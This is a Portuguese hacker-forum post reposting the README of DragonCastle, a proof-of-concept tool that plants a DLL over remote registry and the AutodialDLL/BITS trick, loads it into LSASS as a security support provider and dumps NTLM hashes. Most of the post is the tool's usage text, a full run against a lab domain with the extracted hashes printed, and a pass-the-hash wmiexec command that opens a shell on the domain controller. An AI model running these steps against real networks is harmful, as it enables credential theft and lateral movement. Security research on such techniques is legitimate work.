COVIL HACKER

, ! .


» COVIL HACKER » Vulnerabilidades/exploração de software » Castelo do Dragão | Um PoC que combina técnica de movimento


Castelo do Dragão | Um PoC que combina técnica de movimento

1 2 2

1

https://forumupload.ru/uploads/001b/c9/09/2/t347820.jpg

DragonCastle
Um PoC que combina a técnica de movimento lateral AutodialDLL e SSP para raspar hashes NTLM do processo LSASS.

Descrição
Carregue uma DLL na máquina de destino. Em seguida, ele permite que o registro remoto modifique a entrada AutodialDLL e inicie/reinicie o serviço BITS. Svchosts carregaria nossa DLL, definiria novamente AutodiaDLL para o valor padrão e executaria uma solicitação RPC para forçar LSASS a carregar a mesma DLL como um provedor de suporte de segurança. Depois que a DLL é carregada pelo LSASS, ela pesquisa dentro da memória do processo para extrair os hashes NTLM e a chave/IV.

O DLLMain sempre retorna False para que os processos não o mantenham.

Advertências
Só funciona quando RunAsPPL não está habilitado. Além disso, só adicionei suporte para descriptografar 3DES porque sou preguiçoso, mas deve ser fácil adicionar código para AES. Pelo mesmo motivo, implementei suporte apenas para as próximas versões do Windows:

Build Support
Windows 10 versão 21H2
Windows 10 versão 21H1 Implementado
Windows 10 versão 20H2 Implementado
Windows 10 versão 20H1 (2004) Implementado
Windows 10 versão 1909 Implementado
Windows 10 versão 1903 Implementado Windows
10 versão 1809 Implementado
Windows 10 versão 1803 Implementado
Windows 10 versão 1709 Implementado
Windows 10 versão 1703 Implementado
Windows 10 versão 1607 Implementado
Windows 10 versão 1511
Windows 10 versão 1507
Windows 8
Windows 7
As assinaturas/deslocamentos/estruturas foram retiradas de Mimikatz. Se você deseja adicionar uma nova versão, basta verificar a funcionalidade sekurlsa no Mimikatz.

Uso
psyconauta@insulanova:~/Research/dragoncastle|⇒ python3 dragoncastle.py -h
DragonCastle - @TheXC3LL

uso: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address ] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]

DragonCastle - Um descarregador de credenciais ( @TheXC3LL )

argumentos opcionais:
-h, --help mostra esta mensagem de ajuda e sai
-u USERNAME, --username USERNAME
nome de usuário válido
-p SENHA, --password SENHA senha
válida (se omitida, será perguntada, a menos que -no-pass)
- d DOMAIN, --domain DOMAIN
nome de domínio válido
-hashes [LMHASH]:NTHASH
NT/LM hashes (LM hash pode estar vazio)
-no-pass não pede senha (útil para -k)
-k Usa autenticação Kerberos. Obtém credenciais do arquivo ccache (KRB5CCNAME) com base nos parâmetros de destino. Se credenciais válidas não forem encontradas, ele usará as especificadas na linha de comando
-dc-ip ip address Endereço IP do controlador de domínio. Se omitido, usará a parte do domínio (FQDN) especificada no parâmetro de destino
-target-ip ip address
Endereço IP da máquina de destino. Se omitido, usará o que foi especificado como destino. Isso é útil quando o destino é o nome NetBIOS ou o nome Kerberos e você não pode resolvê-lo
-local-dll dll para plantar
a localização da DLL (local) que será plantada no destino
-remote-dll dll location
Caminho usado para atualizar o valor do registro AutodialDLL
Exemplo
Windows servidor em 192.168.56.20 e controlador de domínio em 192.168.56.10:

psyconauta@insulanova:~/Research/dragoncastle|⇒ python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll c:\dump.dll -local-dll DragonCastle .dll
DragonCastle - @TheXC3LL

[+] Conectando a 192.168.56.20
[+] Carregando DragonCastle.dll para c:\dump.dll
[+] Verificando o status do serviço Registro Remoto
[+] O serviço está inoperante!
[+] Iniciando o serviço Remote Registry
[+] Conectando a 192.168.56.20
[+] Atualizando o valor AutodialDLL
[+] Parando o Remote Registry Service
[+] Verificando o status do serviço BITS
[+] O serviço está inoperante!
[+] Iniciando serviço BITS
[+] Baixando creds
[+] Excluindo arquivo de credencial
[+] Analisando creds:

============
Usuário: vagrant
Domínio: WINTERFELL
Usuário: vagrant
Domínio: WINTERFELL
Usuário: eddard.stark
Domínio: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
Usuário: eddard.stark
Domínio: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
Usuário: vagrant
Domínio: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
Usuário: DWM-1
Domínio: Gerenciador de janelas
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
Usuário: DWM-1
Domínio: Gerenciador de janelas
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
Usuário: WINTERFELL$
Domínio: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
Usuário: UMFD-0
Domínio: Host do driver de fonte
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
Usuário:
Domínio:
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
Usuário:
Domínio:

============
[+] Excluindo DLL

[^] Tenha um bom dia!
psyconauta@insulanova:~/Research/dragoncastle|⇒ wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/eddard.stark@192.168.56.10
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Dialeto SMBv3.0 usado
[!] Lançamento do shell semi-interativo - Cuidado com o que você executa
[!] Pressione ajuda para comandos extras do shell
C:>whoami
sevenkingdoms\eddard.stark

C:>whoami /priv

PRIVILÉGIOS INFORMAÇÕES
Privilégio Nome Descrição Estado
========================================= ===== ==================================================== =========== =======
SeIncreaseQuotaPrivilege Ajustar cotas de memória para um processo Habilitado
SeMachineAccountPrivilege Adicionar estações de trabalho ao domínio Habilitado
SeSecurityPrivilege Gerenciar log de auditoria e segurança Habilitado
SeTakeOwnershipPrivilege Apropriar-se de arquivos ou outros objetos Habilitado
SeLoadDriverPrivilege Carregar e descarregar drivers de dispositivo Habilitado
SeSystemProfilePrivilege Perfilar o desempenho do sistema Habilitado
SeSystemtimePrivilege Alterar a hora do sistema
Habilitado SeProfileSingleProcessPrivilege Perfilar um único processo Habilitado
SeIncreaseBasePriorityPrivilege Aumentar a prioridade de agendamento Habilitado
SeCreatePagefilePrivilege Criar um arquivo de paginação Habilitado
SeBackupPrivilege Fazer backup de arquivos e diretórios Habilitado
SeRestorePrivilege Restaurar arquivos e diretórios Habilitado
SeShutdownPrivilege Desligar o sistema Habilitado
SeDebugPrivilege Depurar programas Habilitado
SeSystemEnvironmentPrivilege Modificar valores do ambiente de firmware Habilitado
SeChangeNotifyPrivilege Ignorar verificação completa Habilitado
SeRemoteShutdownPrivilege Forçar o desligamento de um sistema remoto Habilitado
SeUndockPrivilege Remover computador da docking station Habilitado
SeEnableDelegationPrivilege Habilitar contas de computador e usuário para serem confiáveis ​​para delegação Habilitado
SeManageVolumePrivilege Executar tarefas de manutenção de volume Habilitado
SeImpersonatePrivilege Representar um cliente após a autenticação Habilitado
SeCreateGlobalPrivilege Criar objetos globais Habilitado
SeIncreaseWorkingSetPrivilege Aumentar um conjunto de trabalho do processo Habilitado
SeTimeZonePrivilege Alterar o fuso horário Habilitado
SeCreateSymbolicLinkPrivilege Criar links simbólicos Habilitado
SeDelegateSessionUserImpersonatePrivilege Obter um token de representação para outro usuário na mesma sessão Habilitado

C:>
Autor
Juan Manuel Fernández ( @TheXC3LL )

Referências

https://decoded.avast.io/luigicamastra/ … companies/

https://www.hexacorn.com/blog/2015/01/1 … y-part-24/

https://adepts.of0x.cc/physical-graffiti-lsass/

https://blog.xpnsec.com/exploring-mimikatz-part-2/

https://github.com/mdsecactivebreach/DragonCastle

0

2


» COVIL HACKER » Vulnerabilidades/exploração de software » Castelo do Dragão | Um PoC que combina técnica de movimento


|